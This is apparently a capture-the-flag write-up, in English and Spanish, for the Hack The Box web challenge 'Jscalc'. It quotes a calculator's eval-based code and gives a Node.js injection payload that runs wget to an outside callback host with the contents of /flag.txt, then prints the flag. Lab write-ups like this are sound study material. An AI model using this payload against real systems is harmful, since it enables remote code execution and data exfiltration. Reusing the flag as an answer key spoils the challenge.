Jscalc
Challenge Description
In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑
Categoria: Web
Dificultad: Fácil
Puntos: 20
Solution
La vulnerabilidad se encuentra en calculatorHelper.js en la siguiente linea de codigo.
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
}
Esta usando eval para ejectuar lo que le escribimos en la aplicacion web, entonces podemos aprovechar esto para ejecutar comandos.
require('child_process').exec('wget pe7ars9xb1eena35y7g1knf0jrpida1z.oastify.com/`cat /flag.txt`')
Con el comando anterior obtenemos la flag.
HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}